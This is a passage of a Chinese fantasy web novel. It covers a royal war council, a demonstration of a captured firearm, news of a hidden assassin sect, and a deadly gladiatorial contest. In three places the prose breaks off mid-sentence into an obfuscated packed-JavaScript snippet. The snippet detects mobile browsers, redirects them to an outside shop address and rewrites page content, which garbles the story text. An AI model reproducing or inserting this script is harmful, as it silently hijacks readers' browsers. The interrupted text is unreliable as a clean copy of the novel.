摄文王说完,其他人不由安静了一阵子。闻人佐知道他们的安静因何而起——他们一定是觉得姜昆维实在是太容易相信别人了,这个王的慷慨有时会让一些小人有可乘之机。但是,闻人佐知道,姜昆维并不是他看上去的那样不设防备,相反,他肯定很清楚帮助杜光欧能得到什么好处,所以才执意协助他。 没有人说话,闻人佐便将话题继续引导下去,“帮助杜光欧已经是不变的大方向,具体是如何去做。黎军已经占领了甾染,供给线非常短,在那里打对摄文来说很不利。我们应该转移阵地——” 还没等他说完,那个带着唇钉的束延将军打断了他,“战场应该选择在白鸣谷!陛下。” 姜昆维挑起一根眉毛,看向束延将军,问道,“为什么这么说?” 143. 军事会议2 束延将军胸有成竹一般,道:“戊边将军在白鸣谷打了许多年仗了,那里的情况如何,他比谁都清楚。燕家倒台的现在,南陆已经没有我们的对手,和甾染的燕家以外的人展开战争,胜利只是时间的问题罢了。” 闻人佐听了,觉得这样的说辞并不能站得住脚,他反驳道:“正是因为熟悉白鸣谷,才知道那不是一条足够大军通行的谷道。我们想过凿穿山脉,和甾染做一个了结,为此派去过考察队,但那里地质坚硬,考察队带回来的消息总是不那么乐观。” 束延将军往椅背上一靠,没个正经模样,“元帅,您做不到的事情,不代表别人做不到。” 闻人佐听到束延将军这句带刺的话,本着商讨可行性的原则,耐心地问他,“我不能做到的事情指什么?” “太多了。”对方意有所指,但是未曾解释自己指的是什么。 闻人佐感觉心下一沉,这不是他想听到的回答,姜昆维召集众将军,不是为了听他们声讨一个落魄的元帅,而是为了实事求是地听到一个可行的方案。 他眼前的这个束延将军,原名叫邹炎庆,姜昆维是他的表叔。邹炎庆的爷爷邹缚原是上一任大元帅,可七年前,上任元帅突然离其失踪了,而当时闻人空烛如日中天,于是闻人佐便破格接替了邹缚的大元帅之位。 原本,五年前的惨剧发生之后,如果闻人佐被处死,理应是这个束延将军接替元帅之职。可闻人佐活了下来,邹炎庆也就没有元帅当了,只能继续待在束延将军的位置上。 当下,气氛陷入了一种突如其来的沉寂。在束延将军说出这番话之后,没有人替闻人佐说些什么,他们都静静盯着他,等待故事的发展,看他如何应对。 这个时候,啪嗒一声,有什么东西砸在了桌子上。众人将目光落在桌面,那上面有一个木制银边的物件。 姜昆维调整了一番姿势,收回手臂,刚才是他把这个东西甩在了桌子上。他翘着一条腿,问道:“有人知道这是什么吗?” 将军们看着那桌台上的物件,那是一个比手掌要长一些的管状器物,一端是能握住把手,有一个开关一样的钩子。 将军们看着它,逐一接过来,在手里翻看着,敲敲打打。最终那个木制银边的精密器具回到了圆桌上,将军们摇着头,表示自己并没有见过这种东西。 姜昆维将那东西拿过来,握住它的把手,手指扣住那开关一样的地方,在众人面前举起它,说道:“这叫枪,是黎军所用的武器。” 摄文王打开了武器的内膛,往里面塞了一些什么进去,而后,他向后方伸手。后面不远处的侍者端来了一个盘子,那上面放着一根细长的金属杆,还有一些指盖大小的金属珠子。 姜昆维捡了一粒圆珠,用包着皮革的金属细杆将它推进枪管里,而后,他抬起手臂,漆黑的洞口指向束延将军,他笑起来,稍稍偏移了手腕,指尖按压下去,只听一声巨响在他手中爆开,一瞬间炸开的光亮照亮了阴暗的大厅。 将军们不知发生了什么,靠向各自的椅背,睁大了眼睛,看着姜昆维手里冒烟的武器。而束延将军更是一动也不敢动,他捂住自己的一侧耳朵,像是被什么震慑住了一般。 闻人佐盯着那把武器,那才的响动他听着耳熟,好像十多天前杜光欧去往燕戎真牢房时,最后那声巨大的响动也是这样的声音。 姜昆维又取了一颗金属珠子,按照刚才的步骤装填,而后,它把武器放在桌子上,甩给了对面的人。 闻人佐接到了姜昆维甩过来的枪,但是,他不明白姜昆维的意思,征询地看着摄文王。然而,那金发的男人却不再看他,没给任何的回应。 “这是从一个朋友那里弄来的武器。”姜昆维双手抱胸,皱起眉头,巡视着他的大将们,面容严厉,无疑是君主之威,“我的将军们,你们真的有把握战胜这种东西吗?” 将军们面面相觑,一时间,没有人能回答上来姜昆维的问题。他们的沉默似乎在姜昆维的意料之中,摄文王没有表现出意外,继而说道:“既然没有把握,还是收起自己的傲慢,听听大元帅怎么说吧。” 闻人佐没想到,姜昆维居然是向话题抛给了自己,那番演示,只是为了让将军们好好听他说话。 闻人佐道:“……既然现在我们已经拥有了黎军的武器,那么将它拆解研究便是第一要务。如果能够复制,那么,我军也便拥有了和他们相仿的军事力量。” 这时候,闻人佐朝他扬了扬下巴,说:“你试试它,大元帅,看看这种武器所带来的颠覆性,能不能让你有什么启发?” 闻人佐顿了顿,学着姜昆维的样子,将它握在手里,枪口冲着地面,手指扣在一个小小的金属开关上。而后他按了下去,嘭的一声,他感觉到了推向自己肩膀的后作用力,一股刺鼻的烟味扩散开来,地面出现了一个坑洞。 闻人佐有些意外于它爆发出来的力量,军议大厅的地面都是用上好的大理石铺成,就算想用铁剑留下痕迹,也得是大力挥砍才能做到。可自己刚才并没有出多少力,只是勾住了一个金属弹片而已,地板就被崩开了一个口子。 闻人佐思量了片刻,他有结论了,“陛下,这样的武器,任何弱者都能使用。” 姜昆维一笑,“然后呢?” 闻人佐盯着那武器,分析着,“将来的战争规模,不再取决于一个地方有多少的军事人口,也不取决于士兵的素质与技艺,而是取决于能够生产多少这种武器。如果它普及开来……后果我不敢想象。” “大元帅,你说的一点也没错。”姜昆维道,“如果我们不研制这种武器,将来在黎军面前就会毫无还手之力。” 闻人佐将那把枪放在桌台上,站起来,将它毕恭毕敬地推过去,还给姜昆维。坐下时,他道:“但我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13496574|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不能和黎军发动全面战争,尤其是,立国仪式在即,摄文无法承受太大的伤亡。” 这时候,沉默良久的束延将军说话了,“这明显是一把适合突进的武器,有了它,我们就能有以极少数的人打通白鸣谷,而无需大军前往!” 闻人佐听了他的话,思索了一番他话中的景象,最终摇了摇头,“不……我们有枪,对面也有,如果他们在关口埋伏,无论派去多少人都会全军覆没。” 束延将军道:“那你说,到底要去哪打?除了白鸣谷还有什么地方,难不成去天上?那非冻死不可!” 这时,较为年轻的驻城将军开口了,“听戊边将军说,在横古山脉的极东部,村民说山下有通路,但是没有被证实过。我自己也听到一些民间传言,说每隔一段时间,就有不知道从哪里来的南陆的偷渡者出现在摄文,但白鸣谷的驻军不可能放这些流民进来,他们肯定是从横古山脉其它地方过来的。” 听驻城将军这么说,闻人佐心里一个计划成形了,他对姜昆维说道:“陛下,如果我们要和黎军交战,不防另择道路通过横古山脉,打对方一个措手不及。” 姜昆维一只手拄着自己的下巴,思索片刻道:“要是真能找到这么一条道路,倒是可以这么办。” 束延将军突然大声道:“陛下,如果要与敌军直面交战,突袭的职责就交给我!” 姜昆维没应,只是朝闻人佐问询道:“元帅,我记得束延将军的职责是□□西方各城吧?” 闻人佐点点头,“是。” 束延将军再度争取道:“陛下,现在立国在即,众心归一,那些小城都没有动乱的迹象。如果主战场是在南部,就应该派实力最强的我军前去!” 姜昆维还是不应,问闻人佐,“闻人,你怎么想?” 闻人佐思索了片刻,他知道束延将军着急立功,想把自己这个挂名元帅踢下去。可就事论事,他既不会因为这个而不给束延将军机会,但布局也不能按照他一个将军的心意来,于是说道:“陛下,现我摄文拥有四位将军,而用将之处却也不少。依照我们当下的计划,首先需要有一只人手负责探明横古山脉的东部通路,而在边界周转多年的戊边将军是最合适的人选。这就意味着戍边将军必须离开白鸣谷,需有另一位将军接替他的战线。我推荐由束廷将军前往驻守白鸣谷,原因是——” 突然,束延将军拍案而起,眉目大怒,“让我去驻守一个鸟不拉屎的陕谷,你是什么居心!?” 一众沉默。闻人佐虽然知道束延将军可能会有意见,但没想到对方反应这么大。 姜昆维敲了两下桌子,说道:“束廷将军,大元帅的话还没有说完。” 束廷将军立刻转向姜昆维,声色俱厉,“陛下!我军驻守白鸣谷是天大的浪费!束延将士乃是全军之最,骁勇善战,无往不胜,理应前往主战场与敌军一较高下!” 144. 军事会议3 姜昆维不为所动,“大元帅只是提出一个构想,我还没说要不要按照这个计划执行,你急什么?” 束廷将军面有色不甘,“可是——” “好了,坐下。”姜昆维有些厌烦地说,“他是你的司令,再有什么不满,也让他先把话说完。” 束廷将军站在原处,胸腔起伏着,半晌才愤愤地坐了下去。 见状,闻人佐继续说道:“束廷大军确实有无匹的力量,所以才必须镇守于白鸣谷。” 听到这里,束廷将军白眼一翻,吡了一声,头偏向一旁,目嫌嘴恶,一副极度不服的模样。 闻人佐解释道:“作战于白鸣谷的我军军力越强,黎军就越会加派人手。而那里能吸引多少敌军、阵线能拖延多久,几乎决定了这次战争的成败。” 一旁,年轻的驻城将军点点头,“元帅说得有道理。那么,我与北方的平缈将军又该前往哪里?” 闻人佐:“二位全部留守于摄文境内。” 驻城将军有些吃惊,面露讶异。但未等说些什么,姜昆维率先发出了疑惑的声音,“嗯?闻人,你要把平缈老将军也调回来?” “是。” “那北方和西方,可就没人管了。” 闻人佐说:“北方零散,构不成威胁。而西方那些小城——就像刚才束廷将军说的——立国在即,他们的资金都在别处周转,没功夫闹事。 “但是另一边,如果我们找到了横古山脉的东部通路,也就意味着战争会比历史上任何时候都要接近摄文。在这个远海和横古山脉为我们形成的天然避风港中,我们还从来没有经历过这种考验。所以我认为起码要调回两只大军,坐守城池。” 束廷将军嗤了一声,“怯懦。” 姜昆维看了束延将军一眼,深吸了口气,对众人说道:“好了!大致情况已经知道了,派谁去做什么我心里有数。今天劳烦各位将军走这一趟了。” 他话里是送客的意思,圆桌周围的几人纷纷起身,往军议大厅的门口走去。 走之前,束延将军还不忘来道姜昆维身前,对他一再劝道:“陛下!臣肯请您务必合理安排几只大军。” 姜昆维挥挥手,没说话。 闻人佐也站了起来,跟着几个将军就要离开。 可还没走到门口,一个有些懒散的声音就响了起来,“你走什么,闻人。我说让将军走,你是将军吗?” 闻人佐脚下一顿,回头看姜昆维。后者惬意地抬起腿来,搭在桌面上,拔弄着手里的那把枪,将它抛起来又接住。 闻人佐回去,又坐到刚才的座位上。当下,偌大的军议大厅里,除了金卫以外就只有他们两人了。 待他坐下,姜昆维看了他一眼,开口道:“炎庆那么不把你放在眼里,你就不能给他施点威压?刚才都是我在镇场子,你在一旁什么也不说,像个泥巴做的鞠球,打一下连个气都不出。” “束廷将军年纪还小,容易动怒。” “性格恶劣就是性格恶劣,和年纪大小无关。”姜昆维道,“他虽然和我母亲那边有点关系,但名义上终归是你管的人。我是不好说他什么,你可得留心别给我培养出个玩世不恭目无军纪的少爷出来,那样我就不得不把他处理了。” 闻人佐垂眸,“臣以后会注意。” “不过他有一点没说错。”姜昆维用枪口点了点桌面,那上面有一张地形图,“把两只大军都调回来驻守摄文,你虽然向来保守,但这也太胆小了,不像是你的风格。” “……” “沉思呢?我就知道你有什么想法。” 事到如今,闻人佐也不打算隐瞒自己的顾虑了,原本打算再调查清楚一些再和摄文王汇报,但话已经说到这了,干脆就一并透露了,“陛下,我听到了一些……捕风捉影的说法。” “什么说法?” “五年前袭击王庭的闵派再度现身了。” 姜昆维一愣,像没想到闻人佐会说这件事似的,“你……还在调查他们?三年了,我以为你早都放弃了。” 闻人佐心里苦闷地一笑。 五年间,自己兵权几乎全部被夺,遭无数人唾弃,却还不要脸地担任大元帅一职,就是因为要借这个地位的便利,找到当年刺杀姜家的那一只刺客流派。 如果不是为了这一点,他早就卸任了。 不过,姜昆维的说法倒是让他有些意外,闻人佐以为他们两人就这点早已达成了无需言明的共识,只有当大元帅解决当年袭击王庭的闵派,他们才能考虑那之后立国的种种。 “我绝对不会放弃,这是我最为重要的使命。” “解决他们之后呢?” 闻人佐一顿,还是说出了口,“我会辞去大元帅一职。” 姜昆维道,“……我就不该多问这一嘴。” “陛下……” 姜昆维把枪往桌上一扔,那没有子弹的武器转了几圈,停在了两人之间,“闻人,我当年把你保下来,不是为了现在听你说这种话。” “我有这个想法许久,早已无法承受。” 姜昆维深吸了一口气,“你有那么不堪一击吗,啊?” 闻人佐没回话。 姜昆维模样有些恼,声音也抬高了些,“那些老东西针对你,你就气馁了?这些个将军对你横眉冷对,你就没信心了?当年我跟那些元老周旋了那么久,接受了那么多不平等的条件,终于把你的位置保住了。你还想要怎样,非要我把所有看你不顺眼的人都杀了才行?” “不……臣不是这个意思。” “我告诉你,闻人佐。”姜昆维往椅背上一靠,不容拒绝地道,“抓不到刺客,无所谓,你继续当大元帅。抓得住,也给我继续当大元帅。” 闻人佐:“陛下,我早已……” “行了,烦死了!”姜昆维一挥手,神情烦扰,“你给我走!” 摄文王的反应在他的预料之中,但是退职一事早晚都要说,毕他竟已经下定决心这么做了。 闻人佐没再说话,只是从坐位上站起来,往军议大厅的门口走去。 刚出了门,却听姜昆维又叫他。 “闻人!” 闻人佐只好停下脚步,再回室内,向对方投去探询的目光,他以为对方还有什么重要的事,可摄文王只是说—— “大后天别忘了去戈首看比赛。” “……是。”闻人佐应了声,终是离开了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13514447|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 军议大厅。 离开了王庭,走在回家的道路上,他回想起那把武器和它的威力,一阵隐蔽的不安在心中发酵。那是种任何人都能掌握的武器,如果过量生产后,导致所有人都拥有一只,世界会变成什么样子? 当每一个人都拥有了超越自己能力的力量,他们又会用这力量去做什么? 但思考这些没用,闻人佐晃了晃脑袋,将那些过于超前的想法晃了出去。 他回到府邸的时候,发现庭院里有一个人在等他,那人穿着朴素的单衣,一袭薄纱遮住面容。闻人佐没见过这个人,但从对方的挺立的身姿来看,同为武人的他一下子就看出对方身手不简单。 女人见了他,自我介绍道:“我是旭雨,是神婆让我来的。” 闻人佐了然,原来是逝露阁的人。不过,她们行动速度超出了闻人佐的预想,他昨天才和神婆交代调查闵派和杜光欧的事,这么快就有着落了? 闻人佐把人请到了一旁的凉亭下,和她坐下来说话。 女人拿出一封信交给了闻人佐,对他说,“有关杜光欧那个人的事都在这封信里面了,而闵派的调查结果,神婆让我口头上转述给你。” 闻人佐把信接过来,打算先听她说旻派的事,“打听到刺客的行踪了?” “找到了。”名叫旭雨的女人说,“小雀在摄文发现了他们的踪迹,最后一次出现是在西边一家孤儿院里。” 闻人佐一惊,“他们已经在摄文了?” 女人点点头,“闵派在曲蛊境内曾一度有过动向,不过那已经是一个多月之前的事,这么长的时间足够他们来到摄文了。” 闻人佐听完,神情凝重地低下头去。 怎么会这样,刺客居然已经潜入了摄文,可是他居然一点风声也没有听到。 他们来了多少人……目的是什么,是摄文王吗?什么时候会动手? “能派人盯着他们吗?”闻人佐问道。 “要我们的人出动?”女人问。 闻人佐:“是,我的亲卫如果贸然行动,意图就太明显了。” 旭雨沉吟了一声,“我回去和神婆商量一下。” 说到这里,一个脚步声传来,闻人佐望过去,只见夫人倪宝娇朝他们所在的位置徐徐走来。长亭之下,闻人佐和旭雨并排坐着,为了低声交谈而离得很近。倪宝娇看到这一幕,并没有说什么,只是神色如常地对闻人佐道:“回来了的话,就来吃饭吧。” 这时,旭雨站起来,“不打扰了。” 说罢,她便转身离开了大元帅的府邸。 闻人佐心事重重,周遭发生了什么都不甚在意,倪宝娇叫他去吃饭,他就去了。 可是饭桌上他又惦记着旭雨刚才传递的情报,思考着如何抓住那些暗藏的刺客,一顿饭也没怎么好好吃,连女儿跟他说话,他都不怎么能分出心神应对。 刺客的事暂且得不出什么结论,只能等逝露阁的人再给他带来些消息,在此之前他的第一要务是确保摄文王的安危。 饭没吃完,他就回到了自己的房间,拿出旭雨给的信看了起来,那上面清秀而字体写了几行,都是有关杜光欧那人的描述。 女人写道—— 145. 意料之外1 “他身份干净,确是血皑王室。比常人警觉,每每跟踪,总会被其觉察,丢失踪迹。派人挑衅试探,身手深不见底。” 短短几行,没有更多的内容。 从这上面也看不出什么其他东西,只能知道对方是一个谨慎又武力高强的王室。 闻人佐烧了那信,它化成不再可视的秘密。 那之后,约定的日子如期而至。 十月三一,历经数月的“绝生幕”终于迎来了预选赛。 今天,将有十几名候选者在场地内较量,最终,会有三位候选者晋级,参加最终的赛程——“不尽死斗”。 绝生幕年年循环往复,但观众的热情常年不减。这已经成为了摄文人生活当中无法分割的一部分,当他们从整日的疲惫工作之中解放出来后,急需某种释放压力的方式恢复精神,有许多人便聚集到角斗场“戈首”来,欢腾雀跃,重新找回做人的感觉,而非巨大机械中的某一个部件。 每个月,戈首都会举行很多场比赛——生死赛,大型赛事的预选赛,点到即止的友谊赛,单纯切磋武艺的表演赛,等等。人们来看比赛,几乎就像是吃饭睡觉一样自然,但是却对此乐此不疲。 今年的角斗场与往年相比没什么变化,依然人满为患。 闻人佐到达戈首,随着观众一同进入建筑,建筑通体砖红,整体呈圆柱型,每一层都开了采光用的横窗。等进入了戈首之中,便能看见其内部的结构——头顶是半圆穹顶,外围上方是观众台,下方是选手准备室、困兽区和入场通道等,整个戈首能够最多能容纳两万人。 场地中央有一个数人宽的圆柱,圆柱上方是司戈的讲台,司戈即为比赛进行解说的人。讲台边上有四条连通外周平台的下沉阶梯,司戈发话时,位于四条空中阶梯上的传话人便会把他所说的内容传到观众席各处。 当下,观众席上已经坐满了人,他们不光有摄文本地人,还有从其他城池而来的北陆人,甚至也有不那么常见的南陆人的身影。 而决斗赛事之所以如此火爆,是因为每个人都是赛程的一份子,他们为自己看中的选手下注,根据最终的成绩赢取奖金。 走上一段台阶后,闻人佐来到了一处宽敞的平台,这里的视野最为良好,能够看清场内的每一个处景象。 赛程还没有开始,摄文王的专属席位是空的,一般来说,对方总是最后一个才出现。 而已经有稀稀落落地几个大臣落座于他们自己的位置,随着闻人佐的出席,人们向他投来目光。但是,没有一个人和他打一声招呼,而元帅已然习惯与此。 随着奏乐声的响起,开幕仪式启动了。 又过了不久,摄文王与其侍者姗姗而来,姜昆维一如既往地风姿卓越,他往平台的最前方一站,奏乐立刻停了,观众热烈地欢呼,所有人的目光都集中在了王的身上。 司戈登上了讲台,大声喊道:“接下来,有请摄文王为本次比赛预言——!” 高台之上,姜昆维闭眸沉思,像在和某种看不见的东西生成缔结,感受着它的引领。 半晌后,他睁开了湛蓝的双眼,像是接受到了什么启示一般,对在场的所有人说道:“我的双眼在通向未来的罅隙中看见了这样的预示——‘尊贵的囚徒、消失的婴孩、不满的弦月,他们将一同奏响通往终局的乐章。’” “陛下已然给出了预言!”那大嗓门司戈喊道,“而今日的三冠当属谁手,各位观众,还请发挥你们的想象力力,向你们认定的选手投注吧!” 姜昆维完成了自己的使命,从高台上退下来,他没有坐在自己的王位上,而是四下寻找着些什么。他的目光落在闻人佐身上,朝他招招手,意思是让他过来。 闻人佐起身,离开了大臣之间。人们狐疑地盯着他,似乎在对他受到的特殊待遇而议论纷纷。 姜昆维带他来到了一处安静的观众席,这里的视野也不错,但不是姜昆维经常待着的那一个。在那席位之中,他看到了一个熟悉的身影,那是血皑王室杜光欧。 依照约定,今日是和他交代行动方针的一天。 杜光欧见到姜昆维,起身迎接,“摄文王。” 姜昆维请他坐下,两个地位甚高的人坐在一起,遥遥观望着地下的比赛场地。 两人开始交谈起来,问话的是杜光欧:“摄文王,听你刚才那么说,是已经知道这次比赛的会是哪三名选手胜出了?” 姜昆维笑了笑,说道:“我只是有一个模糊的画面,我的能力向来不告诉我太多内容,只告诉我大致的图景。” “预知力。他们都这么称呼你的能力。”杜光欧道。 姜昆维道:“听起来还挺厉害,是吧?但是,只有我自己知道,那没什么厉害的,只是偶然能窥得一些天机。我很小的时候就获得了这份神力,当时差点以为自己要死了,居然能看见未来的事情。” 赛场上,十几名选手亮相,司戈逐一介绍着这些人的出色之处,下方的赛事人员让选手们排成一排,抽签决定比赛的次序。 姜昆维盯着他们,半晌,他说道:“这里面会选出来三个人,参加最终的不尽死斗。” 杜光欧闻言问道:“不尽死斗是什么?” 侍者将果盘摆放在一旁,姜昆维拿了一颗紫色的浆果,塞进自己的嘴里,说道:“是绝生幕这个比赛的终局。前三名选手进入赛场撕杀,最后的胜者留在场上,接受无尽挑战,不给吃喝,不让退场,直到战死。” 血皑的王室张了张嘴,目光落在那些选手身上,没说出什么话来。 “我知道有点残忍,但我的子民渴求这些,所以我为他们搭建了这座‘戈首’。”姜昆维看向对方,道,“绝生幕的参赛者要么是罪犯、要么就是心甘情愿来参加的人。” 杜光欧:“原来是这样。” 姜昆维问他,“我的友人,如果是你的话,你会这么做吗?” 杜光欧沉默了半晌,没有回答这个问题,却是对姜昆维问道:“摄文王,你会觉得无趣吗?” “什么?” 杜光欧:“你已经知道未来了,所有发生的一切都在你的预料之中。” “怎么会,过程也是一种享受。”姜昆维说,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13521465|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惬意的拄着自己的座椅扶手,说道:“我们每个人的结局都是注定的,先是无法逆转的寒冷,而后是瞬息发生的死亡。可难道知道了这些,就从现在开始不活了吗?当然不是,我看到太多的人依然在努力生存。” “确实。人总会死,总会……”杜光欧说道,声音却渐渐弱了下去,听起来有些恍惚。 姜昆维说:“所以,过程很重要,享受也很重要,一步步变好更重要。” 两人有一搭没一搭聊起来,似乎完全没有进入正题的打算。 他们想聊,闻人佐便没有打断他们。只是,他的思绪也免不得飘远了,时而落在场地之上,时而落在他们的谈话之上,时而在空中,时而在地下,时而在这里,时而不在这里。 穹顶上飘下来了一张薄薄的入场券,似乎是哪个观众不小心脱手了。它像一只坠落的鸟,孤独,寂寞,没有同伴。闻人佐看着它,想象那是他自己。 “闻人。” 第一声呼唤,闻人佐没有反应过来。 “闻人。” 第二声呼唤,他从游离意识中清醒过来。 “陛下。”闻人佐看向自己的摄文王,回应他道。 “陪我走一趟。”姜昆维如是说,他从座位上起身,往席位后方的廊道走去,没有说明自己的目的,只是让闻人佐跟上来。 闻人佐听从命令,也起身离席。 他们沿着下行的楼梯阶走去,离开了繁杂的比赛场地。走到一半,闻人佐大概猜出姜昆维是要去做什么。就像每个平凡人一样,他有净手的需求。 至于为什么叫上他,而不是随便传唤一个护卫,这其中是否有低看一等的嫌疑之类的,元帅丝毫没有往那方面想。王需要他陪同,他便顺应这个需求。 闻人佐在与他一前一后走路的过程中,呼唤道:“陛下。” “怎么了。”摄文王没有回头,径直走自己的路。 闻人佐打算把前些天有关杜光欧的调查告知姜昆维,“还请您对那个血皑王室多加留意。根据我近几天对他的调查,这个人身手不凡。血皑不像甾染,那个建立在天骨盆底中的城市以其贸易出名,王室没有出征打仗的义务,杜光欧如果当真像我调查的那样身手不凡,就有些不正常了。” 姜昆维一笑,模样不以为意,“我还以为你这么严肃是要说什么呢。没什么大不了的,只是一个杜家的二儿子而已,他是什么水平,我心里有数。” 听他这么说,闻人佐若有所思,“您……使用了预知力吗?” 姜昆维耸耸肩,说道:“确实动用了那么一小点,在我可预见的范围里,这个杜光欧闹不出来什么大事。” 闻人佐道:“如果您这么说的话,那可能他的确没有什么威胁。” 再往前走就是净手的隔间,闻人佐不便进去,就在外部等待。 而姜昆维似乎没有结束上一个话题的意思,他的声音从那隐蔽的空间里传来,“不过是一个本该死在远征路上的无名小卒。至于为什么能活下来,倒是个谜。” 这句话听得闻人佐云里雾里,毫无头绪。 146. 意料之外2 不过一阵,姜昆维出来了,他拍了拍闻人佐的肩,语重心长地说道:“闻人啊,我们是一个阵线的人。有时候,我不说,但是你得清楚我在想什么。” 这话听起来有些难度,做起来也的确有些强人所难。闻人佐顿了顿,有些迟钝地开口,“还请陛下明示。” “你真的以为我有那么喜欢相信别人吗?”姜昆维问,“那些随意交付信任的人,早就在这片土地的历史上闭眼长眠了。” 闻人佐看着姜昆维,这时候的摄文王虽然浑身金光闪闪,然而眼睛却像是黑铁,在阴暗之处,它连仅剩的那一点蓝色也看不见,乌黑得仿佛深夜。 姜昆维勾起嘴角,眼里却没有笑意,“信任是我的外交策略,也是我的为人处世之道。闻人,这件事,我只告诉你,也只有你知道就好。” 姜昆维松开了他,往观众席的方向走。 闻人佐跟上他,郑重地回应:“是。” 他们回到了原本的席位上,看到杜光欧正目不转睛地盯着赛场。第一轮比赛已经开始了,两名选手在场地中央纠缠,一个追逐着另一个,似乎快要分出胜负。 司戈的声音适时传来,“屠夫!!屠夫用他的残月弯刀使出了落地斩,‘猛兽’韦力没能躲过去!哎呀,这一下他的腿没断也瘸了,韦力——!!韦力还能站起来吗?” 场地中央,一大滩鲜血溅在地上,‘猛兽’韦力倒在那血泊中央,似乎在向‘屠夫’求饶着些什么。但是‘屠夫’像是没有听见,将他的残月弯刀挂在韦力的脖子上,往旁边一钩,‘猛兽’的头颅应声而落。 “屠夫给了他痛快的一击!”司戈道,“‘猛兽’韦力,感谢你为观众们倾情带来的精彩演出,再见!” 群众高声欢呼,雀跃不已。“屠夫”高举他的双臂,裁判宣布他的存活与胜利。 身处其中,热血沸腾,即便是再冷酷的人,也无法在这样的景象中保持镇定。或许,这就是这项运动如此受人追捧的原因之一。 掌声送走了第一位胜者,第二场赛事紧随其后。 在热烈的氛围结束之后,四周终于回复了平静,相隔的人不必再扯着嗓子喊话。这时候,姜昆维向杜光欧侧身,说道:“接下来的赛事大抵如此。我的朋友,你是想再观赏一番,还是来商讨一下我们未来计划?” 杜光欧不急不迫地说道:“我不想搅了摄文王的兴致,还请以自己的喜好为主。毕竟,我听说这场绝生幕准备良久,可以说是摄文最大型、也是最重要的活动之一。” “然而我其实已经看倦了。”姜昆维随意挥舞他穿金戴银的手,说,“这是我的子民喜爱之物,所以,我年年应允他们。” 杜光欧说道:“你是为心系人民的王。” 姜昆维一笑,没有谦虚地推让,只是将话题从自己的身上转移,“所以,还是让我们聊聊你的事吧。我的朋友,我能看到,你会成为不亚于我的王。我十分想要看到那一天的到来,为此,我愿意帮你,就像我一开始说的那样。” 杜光欧:“也请再一次让我表达感激,摄文王。” “计划是这样的。”姜昆维说道,“首先,我们会仿制黎军的武器,而后抽调两只大军,一只去白鸣谷驻守,吸引黎军的注意,一只负责探寻横古山脉东部的通路,以便后续的总攻。” “主战场不选择在白鸣谷吗?”杜光欧问。 姜昆维摇头,金色的长发也跟着晃动,“不。” 那血皑的王室听完,沉思了半晌,突然诚恳地说道:“摄文王,也请让我出一份力。” 姜昆维宽宏大量地摆手,“你坐享其成就行。” 杜光欧严辞拒绝,“摄文王愿意帮我夺回故土,我已经无以为报,现在若让我干坐着,实在过意不去。” “既然你这么坚持的话……好吧。”姜昆维一声叹息,问道,“你想要多少人?” 闻人佐听到这里,不由得向姜昆维投去不解的视线。 陛下这是什么意思,难不成是要给这个杜光欧借兵借人吗?就算是要和南陆的王族拉近关系,也不至于做到这个份上吧…… 杜光欧摇摇头,“我不要人。” 姜昆维:“你不要人?” 杜光欧:“我一个人就够了。“ “……一个人?”姜昆维的表情有些迷茫,他眨眨眼,“呃,我没太懂,一个人是什么意思?” 杜光欧突然有些结巴,“……我是、想说,我一个人代表血皑参战。” “哦……是这个意思。”姜昆维恍然大悟似的,顺着台阶就下了,他一拍大腿道,“那好吧,我的朋友,你就加入先行军,跟大元帅一起去探寻横古山脉的东部通路。我听人说,你曾经是个远征军长,肯定在这些方面很有经验。” 听闻摄文王突如其来的安排,闻人佐心下一惊,“等等,陛下……” 什么时候说好的,怎么会突然让自己带人探寻横古山脉的通路? 前天军事会议之后,他和姜昆维就没有交流过了,当天对方并没有明确安排谁去做什么,是他这两天自己定下来的? 可是,他不能在这个时候离开摄文,刚刚才得知闵派已经潜藏在摄文之中,这个节骨眼上,他哪也不能去。 另一边,那血皑的王室说道:“军长还算不上,我率领的充其量不过是一只不到百人的队伍罢了。” 姜昆维:“你谦虚了,在这漫天白雪之下探索所需的勇气,可比在一只大军后方发号施令多多了。” 杜光欧:“各有各的难处。” 闻人佐再度试图唤起摄文王的注意,“陛下,我……” 姜昆维没有注意到他,依然在和杜光欧交谈,“等筹备好了物资,先行军就出发。我知道这件事慢不得,昨日已经叫人在准备了,几日后你就和大元帅一同前去。” 杜光欧:“摄文王想得周全。” 姜昆维摩挲着下巴,神色笃定,“打通了东部的道路,摄文的束廷将军就会即刻带大军出征。黎礼只是一届城中妇人,不懂怎么打仗。我们出其不意,她一定——” 闻人佐断然离席,跪在姜昆维面前, 